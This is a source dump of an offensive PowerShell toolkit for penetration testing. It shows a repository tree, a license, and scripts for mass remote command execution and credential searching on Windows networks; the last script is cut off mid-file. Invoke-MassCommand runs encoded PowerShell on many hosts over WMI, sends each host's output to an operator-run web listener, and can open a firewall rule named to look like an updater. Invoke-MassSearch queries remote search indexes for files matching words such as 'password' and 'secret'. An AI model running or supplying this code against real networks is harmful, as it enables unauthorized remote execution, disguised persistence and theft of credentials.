├── LICENSE ├── PewPewPew ├── Invoke-MassCommand.ps1 ├── Invoke-MassMimikatz.ps1 ├── Invoke-MassSearch.ps1 ├── Invoke-MassTemplate.ps1 ├── Invoke-MassTokens.ps1 └── README.md ├── PowerBreach ├── PowerBreach.ps1 ├── README.md ├── changelog └── sendtrigger.py ├── PowerPick ├── .DS_Store ├── PSInjector │ ├── CurrentDLLs │ │ ├── .DS_Store │ │ ├── ReflectivePick_x64.dll │ │ ├── ReflectivePick_x64.dll.enc │ │ ├── ReflectivePick_x86.dll │ │ └── ReflectivePick_x86.dll.enc │ ├── DLLEnc.ps1 │ └── PSInject.ps1 ├── PowerPick.sdf ├── PowerPick.sln ├── README.md ├── ReflectivePick │ ├── .DS_Store │ ├── PowerShellRunnerDll.h │ ├── ReflectiveDLLInjection.h │ ├── ReflectiveLoader.c │ ├── ReflectiveLoader.h │ ├── ReflectivePick.cpp │ ├── ReflectivePick.h │ ├── ReflectivePick.vcxproj │ ├── ReflectivePick.vcxproj.filters │ ├── ReflectivePick.vcxproj.user │ ├── dllmain.cpp │ ├── stdafx.cpp │ ├── stdafx.h │ └── targetver.h ├── SharpPick │ ├── .DS_Store │ ├── Program.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ └── Resources.resx │ ├── SharpPick.csproj │ └── SharpPick.csproj.user └── bin │ └── .DS_Store ├── PowerUp ├── PowerUp.ps1 ├── PowerUp.psd1 ├── PowerUp.psm1 ├── README.md └── Tests │ └── PowerUp.tests.ps1 ├── PowerView ├── LICENSE ├── README.md ├── Tests │ └── PowerView.tests.ps1 ├── powerview.ps1 ├── powerview.psd1 └── powerview.psm1 └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | PowerTools is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2014, Will Schroeder 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | 10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 15 | 16 | -------------------------------------------------------------------------------- /PewPewPew/Invoke-MassCommand.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Template to mass-run a specific command across 3 | multiple machines using WMI and retrieve the results 4 | using a local web server. 5 | 6 | by @harmj0y 7 | #> 8 | 9 | 10 | function Invoke-MassCommand { 11 | <# 12 | .SYNOPSIS 13 | Uses WMI and a local web server to mass-run a command 14 | across multiple machines. 15 | 16 | .PARAMETER Hosts 17 | Array of host names to run Invoke-MassCommand on. 18 | 19 | .PARAMETER HostList 20 | List of host names to run Invoke-MassCommand on. 21 | 22 | .PARAMETER Command 23 | PowerShell one-liner command to run. 24 | 25 | .PARAMETER LocalIpAddress 26 | Local IP address to use. Will try to determine if not specified. 27 | 28 | .PARAMETER LocalPort 29 | Local port to host the script on, defaults to 8080 30 | 31 | .PARAMETER ServerSleep 32 | Time to sleep the web server for output before shutting it down. 33 | Default to 30 seconds. 34 | 35 | .PARAMETER OutputFolder 36 | Folder to pipe host outputs to. 37 | 38 | .PARAMETER FireWallRule 39 | Add (and then remove) a firewall rule to allow access to the 40 | specified port. 41 | #> 42 | [cmdletbinding()] 43 | param( 44 | [Parameter(Position=0,ValueFromPipeline=$true)] 45 | [String[]] 46 | $Hosts, 47 | 48 | [String] 49 | $HostList, 50 | 51 | [String] 52 | $Command = "dir C:\", 53 | 54 | [String] 55 | $LocalIpAddress, 56 | 57 | [String] 58 | $LocalPort="8080", 59 | 60 | [Int] 61 | $ServerSleep=30, 62 | 63 | [String] 64 | $OutputFolder="CommandOutput", 65 | 66 | [Switch] 67 | $FireWallRule 68 | ) 69 | 70 | begin { 71 | 72 | # script block to invoke over remote machines. 73 | $WebserverScriptblock={ 74 | param($LocalPort, $OutputFolder) 75 | 76 | # webserver stub adapted from @obscuresec: 77 | # https://gist.github.com/obscuresec/71df69d828e6e05986e9#file-dirtywebserver-ps1 78 | $Hso = New-Object Net.HttpListener 79 | $Hso.Prefixes.Add("http://+:$LocalPort/") 80 | $Hso.Start() 81 | 82 | while ($Hso.IsListening) { 83 | $HC = $Hso.GetContext() 84 | $OriginatingIP = $HC.Request.UserHostAddress 85 | $HRes = $HC.Response 86 | $HRes.Headers.Add("Content-Type","text/plain") 87 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 88 | 89 | # process any GET requests 90 | if( $HC.Request.RawUrl -eq "/"){ 91 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 92 | } 93 | # process any POST results from the invoked script 94 | else { 95 | # extract the hostname from the URI request 96 | $hostname = $HC.Request.RawUrl.split("/")[-1] 97 | 98 | $output = "" 99 | $size = $HC.Request.ContentLength64 + 1 100 | 101 | $buffer = New-Object byte[] $size 102 | do { 103 | $count = $HC.Request.InputStream.Read($buffer, 0, $size) 104 | $output += $HC.Request.ContentEncoding.GetString($buffer, 0, $count) 105 | } until($count -lt $size) 106 | $HC.Request.InputStream.Close() 107 | 108 | if (($output) -and ($output.Length -ne 0)){ 109 | $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($output)) 110 | 111 | $OutFile = $OutputFolder + "\$($hostname).txt" 112 | 113 | $decoded | Out-File -Append -Encoding ASCII -FilePath $OutFile 114 | } 115 | } 116 | $HRes.ContentLength64 = $Buf.Length 117 | $HRes.OutputStream.Write($Buf,0,$Buf.Length) 118 | $HRes.Close() 119 | } 120 | } 121 | 122 | if($HostList){ 123 | if (Test-Path -Path $HostList){ 124 | $Hosts += Get-Content -Path $HostList 125 | } 126 | else { 127 | Write-Warning "[!] Input file '$HostList' doesn't exist!" 128 | } 129 | } 130 | 131 | # if the output file isn't a full path, append the current location to it 132 | if(-not ($OutputFolder.Contains("\"))){ 133 | $OutputFolder = (Get-Location).Path + "\" + $OutputFolder 134 | } 135 | 136 | # create the output folder if it doesn't exist 137 | New-Item -Force -ItemType directory -Path $OutputFolder | Out-Null 138 | 139 | # add a temporary firewall rule if specified 140 | if($FireWallRule){ 141 | Write-Verbose "Setting inbound firewall rule for port $LocalPort" 142 | $fw = New-Object -ComObject hnetcfg.fwpolicy2 143 | $rule = New-Object -ComObject HNetCfg.FWRule 144 | $rule.Name = "Updater32" 145 | $rule.Protocol = 6 146 | $rule.LocalPorts = $LocalPort 147 | $rule.Direction = 1 148 | $rule.Enabled=$true 149 | $rule.Grouping="@firewallapi.dll,-23255" 150 | $rule.Profiles = 7 151 | $rule.Action=1 152 | $rule.EdgeTraversal=$false 153 | $fw.Rules.Add($rule) 154 | } 155 | 156 | Start-Job -Name WebServer -Scriptblock $WebserverScriptblock -ArgumentList $LocalPort,$OutputFolder | Out-Null 157 | Write-Verbose "Sleeping, letting the web server stand up..." 158 | Start-Sleep -s 5 159 | } 160 | 161 | process { 162 | 163 | if(-not $LocalIpAddress){ 164 | $LocalIpAddress = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -ne $null}).ipaddress[0] 165 | } 166 | 167 | $hosts | % { 168 | # the download/check back in command 169 | $LauncherCommand = "$Command | % {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$_))} | % {(new-object net.webclient).UploadString('http://"+$LocalIpAddress+":$LocalPort/$_', `$_)}" 170 | $bytes = [Text.Encoding]::Unicode.GetBytes($LauncherCommand) 171 | $encodedCommand = [Convert]::ToBase64String($bytes) 172 | 173 | Write-Verbose "Executing command on host `"$_`"" 174 | Invoke-WmiMethod -ComputerName $_ -Path Win32_process -Name create -ArgumentList "powershell.exe -enc $encodedCommand" | out-null 175 | } 176 | } 177 | 178 | end { 179 | 180 | Write-Verbose "Waiting $ServerSleep seconds for commands to trigger..." 181 | Start-Sleep -s $ServerSleep 182 | 183 | # perform any post-processing on the output files... 184 | Get-ChildItem $OutputFolder -Filter *.txt | 185 | foreach-object { 186 | $server = $_.Name.split(".")[0] 187 | $rawtext = [Io.File]::ReadAllText($_.FullName) 188 | # ... 189 | } 190 | 191 | # remove the firewall rule if specified 192 | if($FireWallRule){ 193 | Write-Verbose "Removing inbound firewall rule" 194 | $fw.rules.Remove("Updater32") 195 | } 196 | 197 | Write-Verbose "Killing the web server" 198 | Get-Job -Name WebServer | Stop-Job 199 | } 200 | } 201 | -------------------------------------------------------------------------------- /PewPewPew/Invoke-MassSearch.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | Functions to run query the search indexer on a mass number 4 | of machines without using PSRemoting. 5 | 6 | Thanks to @obscuresec for the initial idea. 7 | 8 | Utilizes an adatation of @obscuresec's quick webserver stub: 9 | https://gist.github.com/obscuresec/71df69d828e6e05986e9#file-dirtywebserver-ps1 10 | 11 | And James O'Neill's Get-IndexedItem script: 12 | https://gallery.technet.microsoft.com/scriptcenter/Get-IndexedItem-PowerShell-5bca2dae 13 | Which was distribuetd under: 14 | 15 | MICROSOFT LIMITED PUBLIC LICENSE version 1.1 16 | This license governs use of code marked as “sample” or “example” available on this web site without a license agreement, as provided under the section above titled “NOTICE SPECIFIC TO SOFTWARE AVAILABLE ON THIS WEB SITE.” If you use such code (the “software”), you accept this license. If you do not accept the license, do not use the software. 17 | 18 | 1. Definitions 19 | The terms “reproduce,” “reproduction,” “derivative works,” and “distribution” have the same meaning here as under U.S. copyright law. 20 | A “contribution” is the original software, or any additions or changes to the software. 21 | A “contributor” is any person that distributes its contribution under this license. 22 | “Licensed patents” are a contributor’s patent claims that read directly on its contribution. 23 | 24 | 2. Grant of Rights 25 | (A) Copyright Grant - Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create. 26 | (B) Patent Grant - Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software. 27 | 28 | 3. Conditions and Limitations 29 | (A) No Trademark License- This license does not grant you rights to use any contributors’ name, logo, or trademarks. 30 | (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically. 31 | (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software. 32 | (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license. 33 | (E) The software is licensed “as-is.” You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement. 34 | (F) Platform Limitation - The licenses granted in sections 2(A) and 2(B) extend only to the software or derivative works that you create that run directly on a Microsoft Windows operating system product, Microsoft run-time technology (such as the .NET Framework or Silverlight), or Microsoft application platform (such as Microsoft Office or Microsoft Dynamics). 35 | 36 | 37 | adaptation by @harmj0y 38 | #> 39 | 40 | 41 | 42 | function Invoke-MassSearch { 43 | <# 44 | .SYNOPSIS 45 | Runs Get-IndexedItem across multiple machines in order 46 | to search for specific terms from the windows search 47 | indexer. The output is saved directly back to 48 | the launching machine through the same webserver, parsed and 49 | then returned on the pipeline. 50 | 51 | Author: @harmj0y 52 | License: BSD 3-Clause 53 | 54 | Credit to James O'Neill 55 | 56 | .PARAMETER Hosts 57 | Array of host names to run Invoke-MassSearch on, 58 | passable on the pipeline. 59 | 60 | .PARAMETER HostList 61 | List of host names to run Invoke-MassSearch on. 62 | 63 | .PARAMETER Terms 64 | Terms to query the search indexer for. Defaults to 65 | "pass","password","sensitive","admin","login", and "secret". 66 | 67 | .PARAMETER LocalIpAddress 68 | Local IP address to use. Will try to determine if not specified. 69 | 70 | .PARAMETER LocalPort 71 | Local port to host the script on, defaults to 8080 72 | 73 | .PARAMETER ServerSleep 74 | Time to sleep the web server for output before shutting it down. 75 | Default to 30 seconds. 76 | 77 | .PARAMETER OutputFolder 78 | Folder to pipe host outputs to. Defaults to 'SearchOutput'. 79 | 80 | .PARAMETER FireWallRule 81 | Add (and then remove) a firewall rule to allow access to the 82 | specified port. 83 | 84 | .PARAMETER Username 85 | Username to execute code on the remote host with. 86 | 87 | .PARAMETER Password 88 | Password to execute code on the remote host with. 89 | #> 90 | [cmdletbinding()] 91 | param( 92 | [Parameter(Position=0,ValueFromPipeline=$true)] 93 | [String[]] 94 | $Hosts, 95 | 96 | [String] 97 | $HostList, 98 | 99 | [String[]] 100 | $Terms = @("pass","password","sensitive","admin","login","secret"), 101 | 102 | [String] 103 | $LocalIpAddress, 104 | 105 | [String] 106 | $LocalPort="8080", 107 | 108 | [Int] 109 | $ServerSleep=30, 110 | 111 | [String] 112 | $OutputFolder="SearchOutput", 113 | 114 | [Switch] 115 | $FireWallRule, 116 | 117 | [String] 118 | $Username, 119 | 120 | [String] 121 | $Password 122 | ) 123 | 124 | 125 | begin { 126 | 127 | # James O'Neill's Get-IndexedItem script: 128 | # https://gallery.technet.microsoft.com/scriptcenter/Get-IndexedItem-PowerShell-5bca2dae 129 | # Distribuetd under: MICROSOFT LIMITED PUBLIC LICENSE version 1.1 130 | $WebserverScriptblock={ 131 | param($Terms, $LocalPort, $OutputFolder) 132 | $Terms2 = $Terms -split' ' -join',' 133 | $HostedScript = 134 | @' 135 | function Get-IndexedItem { 136 | <# 137 | .SYNOPSIS 138 | Gets files which have been indexed by Windows desktop search 139 | .Description 140 | Searches the Windows index on the local computer or a remote file serving computer 141 | Looking for file properties or free text searching over contents 142 | .PARAMETER Filter 143 | Alias WHERE, INCLUDE 144 | A single string containing a WHERE condition, or multiple conditions linked with AND 145 | or Multiple strings each with a single Condition, which will be joined together. 146 | The function tries to add Prefixes and single quotes if they are omitted 147 | If no =, >,< , Like or Contains is specified the terms will be used in a freeText contains search 148 | Syntax Information for CONTAINS and FREETEXT can be found at 149 | http://msdn.microsoft.com/en-us/library/dd626247(v=office.11).aspx 150 | .PARAMETER OrderBy 151 | Alias SORT 152 | Either a single string containing one or more Order BY conditions, 153 | or multiple string each with a single condition which will be joined together 154 | .PARAMETER Path 155 | A single string containing a path which should be searched. 156 | This may be a UNC path to a share on a remote computer 157 | .PARAMETER First 158 | Alias TOP 159 | A single integer representing the number of items to be returned. 160 | .PARAMETER Value 161 | Alias GROUP 162 | A single string containing a Field name. 163 | If specified the search will return the Values in this field, instead of objects 164 | for the items found by the query terms. 165 | .PARAMETER Recurse 166 | If Path is specified only a single folder is searched Unless -Recurse is specified 167 | If path is not specified the whole index is searched, and recurse is ignored. 168 | .PARAMETER List 169 | Instead of querying the index produces a list of known field names, with short names and aliases 170 | which may be used instead. 171 | .PARAMETER NoFiles 172 | Normally if files are found the command returns a file object with additional properties, 173 | which can be piped into commands which accept files. This switch prevents the file being fetched 174 | improving performance when the file object is not needed. 175 | .PARAMETER Terms 176 | Multiple terms to search for in given files 177 | .EXAMPLE 178 | Get-IndexedItem -Filter "Contains(*,'Stingray')", "kind = 'picture'", "keywords='portfolio'" 179 | Finds picture files anywhere on the local machine, which have 'Portfolio' as a keyword tag, 180 | and 'stringray' in any indexed property. 181 | .EXAMPLE 182 | Get-IndexedItem Stingray, kind=picture, keyword=portfolio | copy -destination e:\ 183 | Finds the same pictures as the previous example but uses Keyword as a alias for KeywordS, and 184 | leaves the ' marks round Portfolio and Contains() round stingray to be automatically inserted 185 | Copies the found files to drive E: 186 | .EXAMPLE 187 | Get-IndexedItem -filter stingray -path OneIndex14:// -recurse 188 | Finds OneNote items containing "Stingray" (note, nothing will be found without -recurse) 189 | .EXAMPLE 190 | start (Get-IndexedItem -filter stingray -path OneIndex14:// -recurse -first 1 -orderby rank) 191 | Finds the highest ranked one not page for stingray and opens it. 192 | Note Start-process (canonical name for Start) does not support piped input. 193 | .EXAMPLE 194 | Get-IndexedItem -filter stingray -path ([system.environment]::GetFolderPath( [system.environment+specialFolder]::MyPictures )) -recurse 195 | Looks for pictures with stingray in any indexed property, limiting the scope of the search 196 | to the current users 'My Pictures' folder and its subfolders. 197 | .EXAMPLE 198 | Get-IndexedItem -Filter "system.kind = 'recordedTV' " -order "System.RecordedTV.RecordingTime" -path "\\atom-engine\users" -recurse | format-list path,title,episodeName,programDescription 199 | Finds recorded TV files on a remote server named 'Atom-Engine' which are accessible via a share named 'users'. 200 | Field name prefixes are specified explicitly instead of letting the function add them 201 | Results are displayed as a list using a subset of the available fields specific to recorded TV 202 | .EXAMPLE 203 | Get-IndexedItem -Value "kind" -path \\atom-engine\users -recurse 204 | Lists the kinds of files available on the on the 'users' share of a remote server named 'Atom-Engine' 205 | .EXAMPLE 206 | Get-IndexedItem -Value "title" -filter "kind=recordedtv" -path \\atom-engine\users -recurse 207 | Lists the titles of RecordedTv files available on the on the 'users' share of a remote server named 'Atom-Engine' 208 | .EXAMPLE 209 | Start (Get-IndexedItem -path "\\atom-engine\users" -recurse -Filter "title= 'Formula 1' " -order "System.RecordedTV.RecordingTime DESC" -top 1 ) 210 | Finds files entitled "Formula 1" on the 'users' share of a remote server named 'Atom-Engine' 211 | Selects the most recent one by TV recording date, and opens it on the local computer. 212 | Note: start does not support piped input. 213 | .EXAMPLE 214 | Get-IndexedItem -Filter "System.Kind = 'Music' AND AlbumArtist like '%' " | Group-Object -NoElement -Property "AlbumArtist" | sort -Descending -property count 215 | Gets all music files with an Album Artist set, using a single combined where condition and a mixture 216 | of implicit and explicit field prefixes. 217 | The result is grouped by Artist and sorted to give popular artist first 218 | .EXAMPLE 219 | Get-IndexedItem "itemtype='.mp3'","AlbumArtist like '%'","RatingText <> '1 star'" -NoFiles -orderby encodingBitrate,size | ft -a AlbumArtist, 220 | Title, @{n="size"; e={($_.size/1MB).tostring("n2")+"MB" }},@{n="duration";e={$_.duration.totalseconds.tostring("n0")+"sec"}}, 221 | @{n="Byes/Sec";e={($_.size/128/$_.duration.totalSeconds).tostring("n0")+"Kb/s"}},@{n="Encoding";e={($_.EncodingBitrate/1000).tostring("n0")+"Kb/s"}}, 222 | @{n="Sample Rate";e={($_.sampleRate/1000).tostring("n1")+"KHz"}} 223 | Shows MP3 files with Artist and Track name, showing Size, duration, actual and encoding bits per second and sample rate 224 | .EXAMPLE 225 | Get-IndexedItem -path c:\ -recurse -Filter cameramaker=pentax* -Property focallength | group focallength -no | sort -property @{e={[double]$_.name}} 226 | Gets all the items which have a the camera maker set to pentax, anywhere on the C: driv 227 | but ONLY get thier focallength property, and return a sorted count of how many of each focal length there are. 228 | .LINK 229 | https://gallery.technet.microsoft.com/scriptcenter/Get-IndexedItem-PowerShell-5bca2dae 230 | #> 231 | #$t=(Get-IndexedItem -Value "title" -filter "kind=recordedtv" -path \\atom-engine\users -recurse | Select-List -Property title).title 232 | #start (Get-IndexedItem -filter "kind=recordedtv","title='$t'" -path \\atom-engine\users -recurse | Select-List -Property ORIGINALBROADCASTDATE,PROGRAMDESCRIPTION) 233 | [CmdletBinding()] 234 | Param ( [Alias("Where","Include")][String[]]$Filter , 235 | [String]$path, 236 | [Alias("Sort")][String[]]$orderby, 237 | [Alias("Top")][int]$First, 238 | [Alias("Group")][String]$Value, 239 | [Alias("Select")][String[]]$Property, 240 | [String[]]$Terms, 241 | [Switch]$recurse, 242 | [Switch]$list, 243 | [Switch]$NoFiles) 244 | 245 | # if there are multiple terms to search for, join them all up with 246 | # the FreeText predicate 247 | if($terms){ 248 | $Filter = "FreeText(*,'" + $($terms -join "') OR FreeText(*,'") + "')" 249 | } 250 | 251 | #Alias definitions take the form AliasName = "Full.Cannonical.Name" ; 252 | #Any defined here will be accepted as input field names in -filter and -OrderBy parameters 253 | #and will be added to output objects as AliasProperties. 254 | $PropertyAliases = @{Width ="System.Image.HorizontalSize"; Height = "System.Image.VerticalSize"; Name = "System.FileName" ; 255 | Extension ="System.FileExtension" ; CreationTime = "System.DateCreated" ; Length = "System.Size" ; 256 | LastWriteTime ="System.DateModified" ; Keyword = "System.Keywords" ; Tag = "System.Keywords" 257 | CameraMaker = "System.Photo.Cameramanufacturer"} 258 | 259 | $fieldTypes = "System","Photo","Image","Music","Media","RecordedTv","Search","Audio" 260 | #For each of the field types listed above, define a prefix & a list of fields, formatted as "Bare_fieldName1|Bare_fieldName2|Bare_fieldName3" 261 | #Anything which appears in FieldTypes must have a prefix and fields definition. 262 | #Any definitions which don't appear in fields types will be ignored 263 | #See http://msdn.microsoft.com/en-us/library/dd561977(v=VS.85).aspx for property info. 264 | 265 | $SystemPrefix = "System." ; $SystemFields = "ItemName|ItemUrl|FileExtension|FileName|FileAttributes|FileOwner|ItemType|ItemTypeText|KindText|Kind|MIMEType|Size|DateModified|DateAccessed|DateImported|DateAcquired|DateCreated|Author|Company|Copyright|Subject|Title|Keywords|Comment|SoftwareUsed|Rating|RatingText|ComputerName" 266 | $PhotoPrefix = "System.Photo." ; $PhotoFields = "fNumber|ExposureTime|FocalLength|IsoSpeed|PeopleNames|DateTaken|Cameramodel|Cameramanufacturer|orientation" 267 | $ImagePrefix = "System.Image." ; $ImageFields = "Dimensions|HorizontalSize|VerticalSize" 268 | $MusicPrefix = "System.Music." ; $MusicFields = "AlbumArtist|AlbumID|AlbumTitle|Artist|BeatsPerMinute|Composer|Conductor|DisplayArtist|Genre|PartOfSet|TrackNumber" 269 | $AudioPrefix = "System.Audio." ; $AudioFields = "ChannelCount|EncodingBitrate|PeakValue|SampleRate|SampleSize" 270 | $MediaPrefix = "System.Media." ; $MediaFields = "Duration|Year" 271 | $RecordedTVPrefix = "System.RecordedTV." ; $RecordedTVFields = "ChannelNumber|EpisodeName|OriginalBroadcastDate|ProgramDescription|RecordingTime|StationName" 272 | $SearchPrefix = "System.Search." ; $SearchFields = "AutoSummary|HitCount|Rank|Store" 273 | 274 | if ($list) { #Output a list of the fields and aliases we currently support. 275 | $( foreach ($type in $fieldTypes) { 276 | (get-variable "$($type)Fields").value -split "\|" | select-object @{n="FullName" ;e={(get-variable "$($type)prefix").value+$_}}, 277 | @{n="ShortName";e={$_}} 278 | } 279 | ) + ($PropertyAliases.keys | Select-Object @{name="FullName" ;expression={$PropertyAliases[$_]}}, 280 | @{name="ShortName";expression={$_}} 281 | ) | Sort-Object -Property @{e={$_.FullName -split "\.\w+$"}},"FullName" 282 | return 283 | } 284 | 285 | #Make a giant SELECT clause from the field lists; replace "|" with ", " - field prefixes will be inserted later. 286 | #There is an extra comma to ensure the last field name is recognized and gets a prefix. This is tidied up later 287 | if ($first) {$SQL = "SELECT TOP $first "} 288 | else {$SQL = "SELECT "} 289 | if ($property) {$SQL += ($property -join ", ") + ", "} 290 | else { 291 | foreach ($type in $fieldTypes) { 292 | $SQL += ((get-variable "$($type)Fields").value -replace "\|",", " ) + ", " 293 | } 294 | } 295 | 296 | #IF a UNC name was specified as the path, build the FROM ... WHERE clause to include the computer name. 297 | if ($path -match "\\\\([^\\]+)\\.") { 298 | $sql += " FROM $($matches[1]).SYSTEMINDEX WHERE " 299 | } 300 | else {$sql += " FROM SYSTEMINDEX WHERE "} 301 | 302 | #If a WHERE condidtion was provided via -Filter, add it now 303 | 304 | if ($Filter) { #Convert * to % 305 | $Filter = $Filter -replace "(?<=\w)\*","%" 306 | #Insert quotes where needed any condition specified as "keywords=stingray" is turned into "Keywords = 'stingray' " 307 | $Filter = $Filter -replace "\s*(=|<|>|like)\s*([^\''\d][^\d\s\'']*)$" , ' $1 ''$2'' ' 308 | # Convert "= 'wildcard'" to "LIKE 'wildcard'" 309 | $Filter = $Filter -replace "\s*=\s*(?='.+%'\s*$)" ," LIKE " 310 | #If a no predicate was specified, use the term in a contains search over all fields. 311 | $filter = ($filter | ForEach-Object { 312 | if ($_ -match "'|=|<|>|like|contains|freetext") {$_} 313 | else {"Contains(*,'$_')"} 314 | }) 315 | #if $filter is an array of single conditions join them together with AND 316 | $SQL += $Filter -join " AND " } 317 | 318 | #If a path was given add SCOPE or DIRECTORY to WHERE depending on whether -recurse was specified. 319 | if ($path) {if ($path -notmatch "\w{4}:") {$path = "file:" + (resolve-path -path $path).providerPath} # Path has to be in the form "file:C:/users" 320 | $path = $path -replace "\\","/" 321 | if ($sql -notmatch "WHERE\s$") {$sql += " AND " } #If the SQL statement doesn't end with "WHERE", add "AND" 322 | if ($recurse) {$sql += " SCOPE = '$path' " } #INDEX uses SCOPE for recursive search, 323 | else {$sql += " DIRECTORY = '$path' " } # and DIRECTORY for non-recursive 324 | } 325 | 326 | if ($Value) { 327 | if ($sql -notmatch "WHERE\s$") {$sql += " AND " } #If the SQL statement doesn't end with "WHERE", add "AND" 328 | $sql += " $Value Like '%'" 329 | $sql = $SQL -replace "^SELECT.*?FROM","SELECT $Value, FROM" 330 | } 331 | 332 | #If the SQL statement Still ends with "WHERE" we'd return everything in the index. Bail out instead 333 | if ($sql -match "WHERE\s*$") { Write-warning "You need to specify either a path , or a filter." ; return} 334 | 335 | #Add any order-by condition(s). Note there is an extra trailing comma to ensure field names are recognised when prefixes are inserted . 336 | if ($Value) {$SQL = "GROUP ON $Value, OVER ( $SQL )"} 337 | elseif ($orderby) {$sql += " ORDER BY " + ($orderby -join " , " ) + ","} 338 | 339 | # For each entry in the PROPERTYALIASES Hash table look for the KEY part being used as a field name 340 | # and replace it with the associated value. The operation becomes 341 | # $SQL -replace "(?<=\s)CreationTime(?=\s*(=|\>|\<|,|Like))","System.DateCreated" 342 | # This translates to "Look for 'CreationTime' preceeded by a space and followed by ( optionally ) some spaces, and then 343 | # any of '=', '>' , '<', ',' or 'Like' (Looking for these prevents matching if the word is a search term, rather than a field name) 344 | # If you find it, replace it with "System.DateCreated" 345 | 346 | $PropertyAliases.Keys | ForEach-Object { $sql= $SQL -replace "(?<=\s)$($_)(?=\s*(=|>|<|,|Like))",$PropertyAliases.$_} 347 | 348 | # Now a similar process for all the field prefixes: this time the regular expression becomes for example, 349 | # $SQL -replace "(?|<|,|Like))" , $Prefix 356 | } 357 | 358 | # Some commas were put in just to ensure all the field names were found but need to be removed or the SQL won't run 359 | $sql = $sql -replace "\s*,\s*FROM\s+" , " FROM " 360 | $sql = $sql -replace "\s*,\s*OVER\s+" , " OVER " 361 | $sql = $sql -replace "\s*,\s*$" , "" 362 | 363 | #Finally we get to run the query: result comes back in a dataSet with 1 or more Datatables. Process each dataRow in the first (only) table 364 | write-debug $sql 365 | $adapter = new-object system.data.oledb.oleDBDataadapter -argumentlist $sql, "Provider=Search.CollatorDSO;Extended Properties=’Application=Windows’;" 366 | $ds = new-object system.data.dataset 367 | if ($adapter.Fill($ds)) { foreach ($row in $ds.Tables[0]) { 368 | #If the dataRow refers to a file output a file obj with extra properties, otherwise output a PSobject 369 | if ($Value) {$row | Select-Object -Property @{name=$Value; expression={$_.($ds.Tables[0].columns[0].columnname)}}} 370 | else { 371 | if (($row."System.ItemUrl" -match "^file:") -and (-not $NoFiles)) { 372 | $obj = (Get-item -force -LiteralPath (($row."System.ItemUrl" -replace "^file:","") -replace "\/","\")) 373 | if (-not $obj) {$obj = New-Object psobject } 374 | } 375 | else { 376 | if ($row."System.ItemUrl") { 377 | $obj = New-Object psobject -Property @{Path = $row."System.ItemUrl"} 378 | Add-Member -force -InputObject $obj -Name "ToString" -MemberType "scriptmethod" -Value {$this.path} 379 | } 380 | else {$obj = New-Object psobject } 381 | } 382 | if ($obj) { 383 | #Add all the the non-null dbColumns removing the prefix from the property name. 384 | foreach ($prop in (Get-Member -InputObject $row -MemberType property | where-object {$row."$($_.name)" -isnot [system.dbnull] })) { 385 | Add-member -ErrorAction "SilentlyContinue" -InputObject $obj -MemberType NoteProperty -Name (($prop.name -split "\." )[-1]) -Value $row."$($prop.name)" 386 | } 387 | #Add aliases 388 | foreach ($prop in ($PropertyAliases.Keys | where-object { ($row."$($propertyAliases.$_)" -isnot [system.dbnull] ) -and 389 | ($row."$($propertyAliases.$_)" -ne $null )})) { 390 | Add-member -ErrorAction "SilentlyContinue" -InputObject $obj -MemberType AliasProperty -Name $prop -Value ($propertyAliases.$prop -split "\." )[-1] 391 | } 392 | #Overwrite duration as a timespan not as 100ns ticks 393 | If ($obj.duration) { $obj.duration =([timespan]::FromMilliseconds($obj.Duration / 10000) )} 394 | $obj 395 | } 396 | } 397 | }} 398 | } 399 | $o = Get-IndexedItem -Terms 400 | '@ 401 | $HostedScript+= $Terms2 + @' 402 | | Select-Object FullName, COMPUTERNAME, FILEOWNER, Length, CreationTime, LastAccessTime, LastWriteTime, AUTOSUMMARY, FileAttributes 403 | if($o){ 404 | $o 405 | } 406 